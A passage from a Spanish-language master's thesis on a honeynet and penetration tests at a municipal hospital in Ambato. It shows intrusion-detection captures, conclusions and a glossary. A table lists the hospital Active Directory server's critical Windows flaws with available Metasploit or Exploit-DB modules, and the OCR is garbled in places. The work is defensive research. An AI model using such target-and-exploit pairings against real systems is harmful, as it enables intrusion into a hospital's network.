MS09-012: Vulnerabilities in Windows Could Allow Elevation of
Privilege (959454) Critical
MS09-013: Vulnerabilities in Windows HTTP Services Could Allow
Remote Code Execution (960803) Critical
MS10-012: Vulnerabilities in SMB Server Could Allow Remote
Code Execution (971468) exploitdb Critical
MS10-054: Vulnerabilities in SMB Server Could Allow Remote
Code Execution (982214) metasploit Critical
MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote
Code Execution (2671387) metasploit Critical

Tabla # 7: Vulnerabilidades criticas del Servidor Active Directory ACTDIRSERVER

Fuente: El Autor

4.4 Validacion de la hipotesis

Una vez que han sido aplicadas las herramientas Honeypot, se procedi6é a

realizar pruebas de penetracion sobre los sistemas, toda esta actividad que fue

controlada, capturada y recolectada por el Honeywall.

Algunos de los paquetes TCP capturados que tienen como origen la direccion

IP 95.211.217.215 generados desde un equipo ubicado en Holanda

(iplocation.net, 2013) como se demuestra en el Grafico #54, datos que indican

que Snort disparo la alerta WEB-PHP Setup.php Access por el intento de

explotar la vulnerabilidad conocida como MediaWiki

20031107 (aldeid.com, 2010).

MediaWiki-stable
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€ - C [Bbwpg//192.168.3.66/walleyepliact=ctst=138623285%et=1386319259;port=80;ids=1 w =

Eﬂ Esta pagina esta escrita en | ingles » | ;Quieres traducirla? | Traducir | | No Configuracion»| *

The Honeynet Walleye: Honeywall Web Interface

Data Analysis System Admin Documentation
Connections triggering IDS events After Thu Dec 5 08:40:59 2013 Before Fri Dec 6 08:40:59
December 2013
2013 December 5th 21:46:15 00:01:17 <-1-WEB-PHP Setup.php access

0\ 95.211.217.215 0 10.0.0.20
Tcp 50367 (50367) 0 kE 6 pkts 80 (http)

sun montue wed thu fri  sat
i 2 2 4 5 6 7 3
8 9 10 11 12 12 14 26 os unkn <--6 kB 11

B

15 16 17 13 19 20 21 | | pkts
22 23 24 35 26 27 28 December Sth 21:46:22  00:00:20 <-1-WEB-PHP Setup.php access
20 30 2 (2, 95.211.217.215 0 10.0.0.20
(Priar Month) (Next Month) =) TCP 50482 (50482) 0 kB 5 pkts 80 (http)
(Pricr Year) (Next Year) -3
Hour Cons 105 27 os unkn <--0 kB 4
0:00 0 oI phts
1:00 0 0
2:00 0 0)
100 [l [nl

Grafico # 53: Paquetes TCP capturados ataque desde 95.211.217.215

Fuente: El Autor

L C' | [1 www.iplocation.net/index.php

I PU * Current Users : 2047 (Member 0)

1P Address: [95.211.217.215

Web Hosting Directory Web Hosting Resources Webmaster Resources Search Engine Marketing Domain Tos

Tast drive yourself, and decide on the provider that you like.

Geolocation data from IP2Location (Product: DB4)

Here are the results from a few Geolocation providers. Accuracy of geolocation data may vary from a provider to provider.

IP Address Country Region City ISP

95.211.217.215 MNetherlands Noord-holand Amsterdam Leaseweb B.v.

Google Map for AMSTERDAM, NOORD-HOLLAND, NETHERLANDS (Mew window)

Grafico # 54: Localizacion direccion IP del atacante

Fuente: www.iplocation.net
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A continuacion se puede apreciar la actividad registrada en el Honeypot, que
corresponde al ataque registrado, ademas de otros ingresos no considerados

ataques por Snort.

& HoneyBOT - Log_20131205.bin

File Yiew Reports Help
il | =l | &l ok | sa [ |
A28 a01% 2820
- Parts Date | Time | Remate P | Remate Part | Local IP Local Port
il |22 183 74.85.56.202 29085 10,0020 a0
21 52203 174124 B7 52 67 186 46816 0000 a0
b7 RA2203 174127 B7 52 67186 46824 00020 Gl
Eo 2203 184310 032231692 46110 10,0020 a0
+- Remtes 052203 13293 TTET40TRR 236 41829 moo2a0 a0
052203 202029 184107 2670 41152 00020 Gl
051272013 21:00:32 20895138176 BEATZ 10.0.0.20 a0
512/2013 214658 95211217 21 BO3EY 10.0.0.20
52203 2470 S 217 21 E4E2 0000 a0
RA22N3 232243 BR17.103.25 45703 00020 Gl
¢ | >
136 records 1336 sockets

Gréfico # 55: Actividad registrada en el Honeypot

Fuente: El Autor

Finalmente se muestra el resumen de la actividad capturada a través de
paquetes SEBEK en donde se puede acceder a cada uno de los paquetes
capturados para su analisis, los mismos que se encuentran agrupados por

fechas de evento, direccion IP de origen.

Ademas se muestra la cantidad de conexiones establecidas asi como los

eventos IDS generados.
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The Ho“eynet Walleye: Honeywall Web Interface

Data Analysis System Admin Documentation Logout

Honeywall: 1051171790 Created: Sat Mow 20 09:22:04 2013 Last Update: Fri Dec 6

09:02:30 2013

Bidirectional Flows Total Flows zn0g
In Cut In Out
. . . . 100
con ids con ids con ids con ids
1 Hour a 2 e o 12 2 (=11 o n
24 26 a as o &7 4 =39 o azon 17z 00 1zo0 azin
Hour [ KButes Transferad EEN-10 Alarts

Honeywall Details for 1051171790

Sensor ID: 1051171790 Sensor Name: Honeywall: 10511717390
Install Date: Sat Mov 30 09:32:04 2013 Last Update: Fri Dec 6 09:02:30 2013
State: cnline
Country: EC Timezone: -3
Latitude: Longitude:
Metwork Typa: com
Motes:

Activity Report

Top 10 Honeypots Top 10 Remote Hosts

Flags Host Connections IDS events Host Connections IDS events
Sebeked 10.0.0.20 158 [a] 94.102.53.219 10 2
Sebeked 10.0.0.7 52 0 95.211.217.215 [ el
184.107.216.10 = o
70.184.116.138 = [u]
87.32.67.186 = [u}
200.107.11.154 [ [u]
3.34.2494.111 = o
202.101.62.39 = [u]
63.141.227.74 b= [u]
208.95.1328.176 4 o

Top 10 Source Ports Top 10 Destination Ports
Port Connections IDS avents Port Connections IDS avents

81352 3 2 =1n) 95 4
50267 2 1 138 169 [u]
S0482 2 1 1101 27 o
ize 169 [u] 21 iz [u]
1101 27 [u] o 2 [u]
47619 4 o 2869 1 o

Grafico # 56: Actividad SEBEK en el IDS del Honeywall

Fuente: El Autor

Con la informacion presentada, se demuestra el correcto funcionamiento de la
infraestructura Honeypot implementada, evidenciado en la efectividad del IDS
operativo en el Honeywall en el control, captura y recoleccién de datos del
trafico generado por los ataques recibidos, que en conjunto con la
determinacion de las vulnerabilidades de los equipos informaticos de la Red del
Hospital Municipal mediante las pruebas de penetracion efectuadas, se elaboré
la Guia de correccién de vulnerabilidades, la misma que ha sido implementada,

luego de lo cual se ejecutd una nueva tarea de analisis de vulnerabilidades
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mediante la herramienta Nexpose, en la que se puede evidenciar que las
vulnerabilidades criticas han sido corregidas.

Para realizar la validacion de la hipotesis se utilizara el enunciado Modus
Ponendo Pones MPP de la inferencia logica, el cual indica que “confirmando el

antecedente (causa) entonces se confirma el consecuente”.

A ->B

Para el caso particular de la hipétesis planteada en el presente trabajo, se

determino dos premisas dentro de la misma:

A = Detectar y corregir vulnerabilidades

B= Mejorar los niveles de seguridad

Si tomamos como cierto que la correccion de vulnerabilidades de un sistema
informatico tiene como consecuencia logica el aumento en los niveles de
seguridad del mismo, A -> B, una vez verificado que la premisa A de este
estudio se cumple por cuanto se realizo el trabajo de deteccion y correccion de
las vulnerabilidades, la premisa B se afirma como valida ya que es la

consecuencia del estudio realizado en la primera variable.
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Por lo tanto se verifica que la hipétesis es valida mediante la aplicacion del
método de comprobacion MPP aplicado, en el sentido de que cumpliendo lo

enunciado en A tiene como consecuencia B.



CAPITULO V

CONCLUSIONES Y RECOMENDACIONES

5.1 CONCLUSIONES

Durante el andlisis de la infraestructura de Red existente en el Hospital
municipal previo a la implementacion de una Honeynet se evidencié que
existen vulnerabilidades que afectan la seguridad de la informacion del
HMNSM, atribuidas a fallas en el disefio l6gico de red especialmente en el
perimetro de seguridad externa, entre las fallas de disefio encontradas se
establecio la falta de un Sistema Perimetral de Seguridad Firewall en la
interconexion entre la Red del Hospital y la Red del Gobierno Autbnomo
Descentralizado Municipalidad de Ambato mas aun cuando se utiliza un este
enlace WiFi en una banda libre. La disposicion en una zona insegura del
Servidor de Correo institucional el mismo que se encuentra expuesto al Internet
y la disposicién de todos los equipos de computo incluidos los servidores en
una sola VLAN.

La implementaciéon de herramientas Honeypot en la red del Hospital,
conjuntamente con las pruebas de penetracion realizadas, permitié detectar un
gran numero de vulnerabilidades generadas principalmente por la falta de
actualizacion de los Sistemas Operativos y Software de la mayoria de equipos
de computo del Hospital; causa mucha preocupacion el servidor de Active
Directory en el cual se detecté gran cantidad de vulnerabilidades faciimente
explotables convirtiéndolo en una gran amenaza para la continuidad,

disponibilidad e integridad de los servicios informéaticos.

112
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Durante el tiempo de produccion de la Honeynet, se evidencié que el honeypot
fue accedido en multiples ocasiones desde diferentes ubicaciones en el planeta,
algunas de ellas consideradas por el IDS como intentos de intrusion, lo que
indica que la Red del Hospital es considerada como un objetivo para los

atacantes.

En la actualidad la tecnologia Honeypot aplicada a pesar de ser libre y eficiente,
no ha mantenido un desarrollo continuo, lo cual la ha ido relegando frente a
nuevas tecnologias propietarias para la deteccion y prevencion de intrusiones

disponibles en el mercado.

La cantidad de Software para analisis de redes disponibles en la actualidad
correctamente utilizadas ofrece al administrador de redes un gran nimero de
herramientas para conocer el nivel de seguridad de su infraestructura, pero

también constituyen una seria amenaza en manos equivocadas.

Actualmente, la sociedad no tiene total conciencia de la importancia de eliminar
las malas préacticas en la gestion de la informacién lo que ocasiona que el nivel
de riesgo informatico sea elevado en la mayoria infraestructuras de red

institucionales.

5.2 RECOMENDACIONES

Es necesario realizar un redisefio de la Red del Hospital Municipal, para
eliminar las vulnerabilidades, en el cual se debera considerar la implementacién
de un Sistema de Seguridad Perimetral Firewall a fin de corregir la falla de

seguridad en la Interconexion con la Red Informatica del GADMA.

Se debera realizar la implementacion de VLAN's con el protocolo IEEE 802.1Q,

para distribuir todos los Servidores y computadores de la Red del Hospital en
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diferentes redes virtuales segun su ubicacién e importancia, para dividir el

actual dominio de broadcast en segmentos mas pequefios.

Planificar la realizacién de auditorias permanentes del Software instalado en los
equipos de coémputo, servidores y estaciones de trabajo, con la finalidad de
determinar exactamente los que sistemas operativos y aplicativos necesitan ser
actualizados, reemplazados o dados de baja de ser el caso para eliminar

nuevas vulnerabilidades.

Ejecutar en el corto tiempo las acciones descritas en la Guia para la Correccion
de las Vulnerabilidades detectadas, incluida en el presente trabajo.

Es recomendable mantener y potenciar el sistema Honeypot aplicado, con la
finalidad de poder obtener mayor informacién de los intentos de ataque e
intromisidén a la Red, ya que resulta mas econdémico y eficiente a realizar una
gran inversion financiera en sofisticados sistemas propietarios de Deteccion de

Intrusos.

Planificar la realizacion periédica de Pruebas de Penetracion controladas, con la
finalidad de detectar nuevas vulnerabilidades que afecten los niveles de

seguridad de la infraestructura Informatica de la institucién.

La actual maestria en gerencia informatica debe potenciar la transferencia de
conocimientos en el area de Seguridad Informética, mejorando la aplicacién
practica de los conocimientos tedricos mediante la implementacion de nueva

tecnologia en sus laboratorios.

Se debe instruir formalmente a la sociedad en general acerca de la necesidad e
importancia de seguir buenas practicas en la gestion de la informacién y a los
usuarios del Hospital en particular la obligatoriedad del cumplimiento de las
normas de seguridad establecidas con la finalidad de establecer altos niveles de

seguridad informatica.
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GLOSARIO

A

Autorooter Es untroyano que emplea la vulnerabilidad conocida como
DCOM-RPC para tomar el control del ordenador afectado, permitiendo que
un hacker pueda realizar acciones como formatear el disco duro, modificar las

paginas web almacenadas, afiadir nuevos usuarios, etc.
B

Basilea Il.- Segundo de los Acuerdos de Basilea. Dichos acuerdos consisten
en recomendaciones sobre la legislacion y regulacién bancaria y son emitidos
por el Comité de supervision bancaria de Basilea. El propdsito de Basilea Il,
publicado inicialmente en junio de 2004, es la creacion de un estandar
internacional que sirva de referencia a los reguladores bancarios, con objeto de
establecer los requerimientos de capital necesarios para asegurar la proteccion
de las entidades frente a los riesgos financieros y operativos.

Backdoor.- En la informética, una puerta trasera (o en inglés backdoor), en un
sistema informatico es una secuencia especial dentro del codigo de
programacion, mediante la cual se pueden evitar los sistemas de seguridad del
algoritmo (autentificacion) para acceder al sistema. Aunque estas puertas
pueden ser utilizadas para fines maliciosos y espionaje no siempre son un error,

pueden haber sido disefiadas con la intencién de tener una entrada secreta
E

Exploit.- Exploit, es un programa de prueba de concepto que puede estar
en codigo fuente para compilar o formato binario que sirve para aprovechar o
demostrar una vulnerabilidad en una aplicacion y puede estar escrita en varios

lenguajes de programacion.


http://www.pandasecurity.com/virus_info/glosario/#TROYANO
http://www.pandasecurity.com/virus_info/glosario/#VULNERA
http://www.pandasecurity.com/virus_info/glosario/#HACKER
http://www.pandasecurity.com/virus_info/glosario/#FORMAT
http://es.wikipedia.org/wiki/Inform%C3%A1tica
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F

Firewall.- Es una parte de un sistema o0 una red que esta disefiada para
bloquear el acceso no autorizado, permitiendo al mismo tiempo comunicaciones

autorizadas.
G

Gusano Informatico.- Es un malware que tiene la propiedad de duplicarse a

si mismo.
H

Hacker.- Un hacker es alguien que descubre las debilidades de una
computadora o de una red informatica, aunque el término puede aplicarse
también a alguien con un conocimiento avanzado de computadoras y de redes
informaticas.’ Los hackers pueden estar motivados por una multitud de razones,

incluyendo fines de lucro, protesta o por el desafio.

Hardware.- Se refiere a todas las partes tangibles de un sistema informatico;
sus componentes son: eléctricos, electronicos, electromecanicos y mecanicos.
Son cables, gabinetes o cajas, periféricos de todo tipo y cualquier otro elemento

fisico involucrado.

Http Flood.- Un flood consiste en mandar mucha informacién en poco tiempo a
alguien para intentar que se sature. La manera de aprovechar esto en los chats,
consiste en enviar muchas peticiones de informacion a la victima, de forma que

ésta, al contestar, supere el limite del servidor y éste lo eche.

ICMP.- Internet Control Message Protocol) es el sub protocolo de control
y notificacion de errores del Protocolo de Internet (IP). Como tal, se usa para
enviar mensajes de error, indicando por ejemplo que un servicio determinado no

esta disponible o que un router o host no puede ser localizado.


http://es.wikipedia.org/wiki/Malware
http://es.wikipedia.org/wiki/Hacker_(seguridad_inform%C3%A1tica)#cite_note-1
http://es.wikipedia.org/wiki/Sistema_inform%C3%A1tico
http://es.wikipedia.org/wiki/Perif%C3%A9rico_(inform%C3%A1tica)
http://es.wikipedia.org/wiki/Protocolo_de_Internet
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M

Malware.- codigo maligno, software malicioso o software malintencionado, es
un tipo de software que tiene como objetivo infiltrarse o dafar
una computadora o Sistema de informacion sin el consentimiento de su

propietario
P

Payload.- Parte de un virus informatico que realiza una accion

malintencionada.

Perl.- Es un lenguaje de programacion disefiado por Larry Wall en 1987. Perl
toma caracteristicas del lenguaje C, del lenguaje interpretado bourne shell (sh),
AWK, sed, Lisp y, en un grado inferior, de muchos otros lenguajes de

programacion.

Ping de la muerte.- Es un tipo de ataque enviado a una computadora que
consiste en mandar numerosos paquetes ICMP muy grandes (mayores a

65.535 bytes) con el fin de colapsar el sistema atacado
R

Router.- Conocido como router, enrutador, ruteador o encaminador de
paguetes— es un dispositivo que proporciona conectividad a nivel de red o nivel
tres en el modelo OSI. Su funcién principal consiste en enviar o encaminar

paquetes de datos de una red a otra, es decir, interconectar subredes

Ruby.- Lenguaje de programacion interpretado, reflexivo y orientado a

objetos creado en 1995 por el programador japonés Yukihiro Matsumoto.
S

Snnifer.- Programa informatico que captura las tramas en una red de datos.


http://es.wikipedia.org/wiki/Software
http://es.wikipedia.org/wiki/Computadora
http://es.wikipedia.org/wiki/Sistema_de_informaci%C3%B3n
http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n
http://es.wikipedia.org/wiki/Larry_Wall
http://es.wikipedia.org/wiki/1987
http://es.wikipedia.org/wiki/Bourne_Shell
http://es.wikipedia.org/wiki/Computadora
http://es.wikipedia.org/wiki/ICMP
http://es.wikipedia.org/wiki/Capa_de_red
http://es.wikipedia.org/wiki/Modelo_OSI
http://es.wikipedia.org/wiki/Subred
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Software.- Se conoce como software! al equipamiento l6gico o soporte
|6gico de un sistema informatico, que comprende el conjunto de los
componentes logicos necesarios que hacen posible la realizacion de tareas
especificas, en contraposicion a los componentes fisicos que son

llamados hardware.
V

VLAN.- Una VLAN Virtual LAN, es un método para crear redes logicas
independientes dentro de una misma red fisica. es una tecnologia que
segmenta las redes de forma virtual, una funcionalidad que admiten la mayoria
de conmutadores de red. Esto se consigue dividiendo los usuarios de la red en
grupos logicos. Solo los usuarios de un grupo especifico pueden intercambiar

datos o0 acceder a determinados recursos en la red.


http://es.wikipedia.org/wiki/Software#cite_note-1
http://es.wikipedia.org/wiki/Sistema_l%C3%B3gico
http://es.wikipedia.org/wiki/Sistema_l%C3%B3gico
http://es.wikipedia.org/wiki/Sistema_l%C3%B3gico
http://es.wikipedia.org/wiki/Sistema_inform%C3%A1tico
http://es.wikipedia.org/wiki/Hardware
http://es.wikipedia.org/wiki/Red_de_computadoras
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ANEXOS

EO1 ENCUESTA
EO2 DETALLE DE EQUIPOS DE COMPUTO HOSPITAL MUNICIPAL
EO0O3 CONFIGURACION DEL HONEYWALL

EO4 REPORTE DE VULNERABILIDADES NEXPOSE



